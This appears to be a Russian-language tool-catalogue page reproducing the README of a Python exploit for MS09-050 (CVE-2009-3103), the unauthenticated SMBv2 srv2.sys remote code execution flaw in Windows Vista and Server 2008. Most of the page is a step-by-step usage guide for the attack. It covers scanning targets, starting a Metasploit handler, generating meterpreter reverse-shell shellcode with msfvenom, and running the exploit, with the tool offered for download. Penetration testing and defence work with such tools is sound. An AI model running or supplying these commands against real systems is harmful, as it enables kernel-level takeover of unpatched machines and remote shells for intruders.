Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
MS09-050 — Python-эксплойт для переполнения буфера в SMBv2 srv2.sys MS09-050 (CVE-2009-3103), со сканером уязвимости, автоопределением архитектуры и полезными нагрузками обратной оболочки x86/x64. | Kitploit
Инструменты/GitHubGitHub/bytejmp/ms09-050
Сканеры уязвимостейГенерация полезной нагрузкиЭксплуатацияШелл-кодСбор информацииПост-эксплуатацияСетевая безопасностьТестирование на ПроникновениеRed TeamingИнструмент Удаленного Доступа
GitHubbytejmp/ms09-050

MS09-050

14 ч 42 мин назадЕщё не проверено

Python-эксплойт для переполнения буфера в SMBv2 srv2.sys MS09-050 (CVE-2009-3103), со сканером уязвимости, автоопределением архитектуры и полезными нагрузками обратной оболочки x86/x64.

Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

MS09-050 — Удалённое выполнение кода через SMBv2

CVE-2009-3103

Уязвимость

В Windows Vista и Server 2008 появился SMBv2 с новым драйвером ядра srv2.sys. Этот драйвер не проверяет поле Process Id High в запросах согласования SMB. Отправив специально сформированное значение в этом поле, атакующий заставляет srv2.sys обратиться к таблице указателей на функции с контролируемым значением, разыменовывая адрес, предоставленный атакующим.

Результат — выполнение произвольного кода в контексте ядра без необходимости аутентификации. Атакующему достаточно иметь доступ к порту 445.

Microsoft исправила эту уязвимость в октябре 2009 года (KB975517). Любая неисправленная система Vista SP1/SP2 или Server 2008 SP1 уязвима.

Уязвимые системы

Целевая ОСАрхитектура
Windows Vista SP1x86
Windows Vista SP2x86 / x64
Windows Server 2008 SP1x86 / x64
Windows Server 2008 SP1 (до R2)x64

Возможности

  • Модуль сканирования: определяет ОС и архитектуру цели через согласование SMB, сообщает статус уязвимости
  • Автоопределение архитектуры: сканер передаёт информацию об архитектуре непосредственно в эксплойт, без ручного угадывания
  • Встроенная полезная нагрузка: stager meterpreter/reverse_tcp для x86, готов к использованию с multi/handler
  • Интеграция с msfvenom: генерация любой полезной нагрузки для любой архитектуры через msfvenom, с опциональным --msf-payload для выбора пользовательской полезной нагрузки
  • Поддержка пользовательского шелл-кода: загрузка любого файла с сырым шелл-кодом (-s)
  • Структурированный вывод: [+] успех, [-] ошибка, [!] предупреждение, [*] информация

Установка

root@kitploit:~
git clone https://github.com/bytejmp/MS09-050.git
cd MS09-050

Требования:

  • Python 3.6+
  • rpcclient (из пакета smbclient), используется для запуска полезной нагрузки после инъекции
  • msfvenom, необходим только при использовании флага --msfvenom

В Debian/Ubuntu:

root@kitploit:~
sudo apt install smbclient

В Arch Linux:

root@kitploit:~
sudo pacman -S smbclient

Использование

Сканирование цели

root@kitploit:~
python3 MS09.py scan -t 192.168.1.10

Вывод:

root@kitploit:~
[*] Scanning 192.168.1.10:445...
[+] Target 192.168.1.10 is reachable
[+] SMBv2 supported
[*] OS: Windows Vista (TM) Ultimate 6001 Service Pack 1
[*] Architecture: x86
[+] Target appears VULNERABLE to MS09-050

Эксплуатация со встроенной полезной нагрузкой (x86)

Использует stager meterpreter/reverse_tcp. Сначала запустите обработчик:

root@kitploit:~
msfconsole -q -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST 10.0.0.5; set LPORT 4444; run"

Затем запустите эксплойт:

root@kitploit:~
python3 MS09.py exploit -t 192.168.1.10 --payload -l 10.0.0.5 -p 4444

Эксплуатация с msfvenom (любая архитектура/полезная нагрузка)

root@kitploit:~
python3 MS09.py exploit -t 192.168.1.10 --msfvenom -l 10.0.0.5 -p 4444 -a x64

Эксплуатация с msfvenom (пользовательская полезная нагрузка)

root@kitploit:~
python3 MS09.py exploit -t 192.168.1.10 --msfvenom --msf-payload windows/meterpreter/reverse_tcp -l 10.0.0.5 -p 4444

Эксплуатация с файлом пользовательского шелл-кода

Сгенерируйте сырой шелл-код один раз, используйте повторно без msfvenom:

root@kitploit:~
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.5 LPORT=4444 EXITFUNC=thread -f raw -o shell.bin

Затем передайте его эксплойту:

root@kitploit:~
python3 MS09.py exploit -t 192.168.1.10 -s shellcode.bin -a x86

Полная справка

root@kitploit:~
$ python3 MS09.py -h

usage: MS09.py [-h] {scan,exploit} ...

MS09-050 SMBv2 Remote Code Execution Exploit (CVE-2009-3103)

positional arguments:
  {scan,exploit}  Operation mode
    scan          Scan target for MS09-050 vulnerability
    exploit       Send exploit to target

$ python3 MS09.py exploit -h

usage: MS09.py exploit [-h] -t TARGET [-P PORT] [-a {x86,x64}]
                        (--payload | --msfvenom | -s FILE)
                        [-l LHOST] [-p LPORT] [--msf-payload PAYLOAD]

options:
  -t, --target      Target IP address
  -P, --port        SMB port (default: 445)
  -a, --arch        Target architecture (auto-detected if omitted)
  --payload         Use built-in reverse shell payload (no Metasploit needed)
  --msfvenom        Generate shellcode with msfvenom
  --msf-payload     msfvenom payload (default: shell_reverse_tcp x86, x64/shell_reverse_tcp x64)
  -s, --shellcode   Path to raw shellcode file
  -l, --lhost       Listener IP address
  -p, --lport       Listener port

Структура проекта

root@kitploit:~
MS09/
├── MS09.py              # Main entry point
├── README.md
└── lib/
    ├── __init__.py
    ├── output.py        # Standardized output formatting
    ├── scanner.py       # SMBv2 vulnerability scanner
    ├── payloads.py      # Built-in shellcode (reverse TCP shell)
    └── exploit.py       # Exploit buffer construction and delivery

Как это работает

  1. Сканер отправляет SMB1 Negotiate Protocol Request для определения версии ОС и архитектуры цели
  2. Эксплойт формирует некорректный запрос согласования SMBv2, который переполняет буфер в srv2.sys
  3. Stager с хуком sysenter используется для получения первоначального выполнения кода в контексте ядра
  4. Stager переходит в пользовательский режим и выполняет предоставленный шелл-код (обратная оболочка)
  5. rpcclient запускает внедрённый код, инициируя попытку аутентификации SMB

Ссылки

  • CVE-2009-3103
  • Microsoft Security Bulletin MS09-050
  • SRV2.SYS SMBv2 Vulnerability Analysis

Отказ от ответственности

Этот инструмент предоставляется исключительно для авторизованного тестирования на проникновение и в образовательных целях.

Неавторизованный доступ к компьютерным системам является уголовным преступлением в большинстве юрисдикций. Вы должны получить явное письменное разрешение от владельца системы перед использованием этого инструмента против любой цели. Авторы не несут никакой ответственности и не отвечают за любое неправомерное использование или ущерб, причинённый этим программным обеспечением.

Используя этот инструмент, вы соглашаетесь с тем, что:

  • У вас есть письменное разрешение на тестирование целевой системы
  • Вы действуете в рамках законной оценки безопасности
  • Вы принимаете полную ответственность за свои действия
  • Вы будете соблюдать все применимые законы и нормативные акты

Используйте ответственно. Взламывайте этично.

Скачать инструмент